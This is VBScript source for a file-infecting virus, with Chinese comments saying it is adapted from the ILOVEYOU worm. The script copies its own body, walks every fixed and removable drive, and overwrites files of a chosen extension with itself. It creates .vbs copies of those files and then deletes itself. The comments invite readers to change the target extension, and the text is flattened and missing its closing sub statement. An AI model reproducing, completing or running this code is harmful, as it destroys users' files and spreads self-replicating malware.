dim folder,fso,foldername,f,d,dc set fso=createobject("scripting.filesystemobject") set self=fso.opentextfile(wscript.scriptfullname,1) vbscopy=self.readall '讀取病毒體，以備復制到文件 self.close set dc=fso.Drives for each d in dc if d.drivetype=3 or d.drivetype=2 then '檢查磁盤類型 wscript.echo d '彈出窗口，顯示找到盤符 scan(d) end if next lsfile=wscript.scriptfullname '該腳本程序路徑 set lsfile=fso.getfile(lsfile) lsfile.delete(true) '病毒運行后自我刪除(本人自加，愛蟲病毒本身沒有該代碼）
sub scan(folder_) on error resume next set folder_=fso.getfolder(folder_) set files=folder_.files for each file in files ext=fso.GetExtensionName(file) '獲取文件后綴 ext=lcase(ext) '后綴名轉換成小寫字母 if ext="mp5" then '如果后綴名是mp5,當然不存在這種文件，這里可以自己修改，但是注意。請自己建立相應后綴名的文件，最好是非正常后綴名 set ap=fso.opentextfile(file.path,2,true) ' ap.write vbscopy '覆蓋文件，慎用 ap.close set cop=fso.getfile(file.path) cop.copy(file.path & ".vbs") '創建另外一個病毒文件 ' file.delete(true) '刪除原來文件 end if next
set subfolders=folder_.subfolders for each subfolder in subfolders '搜索其他目錄 scan(subfolder) next
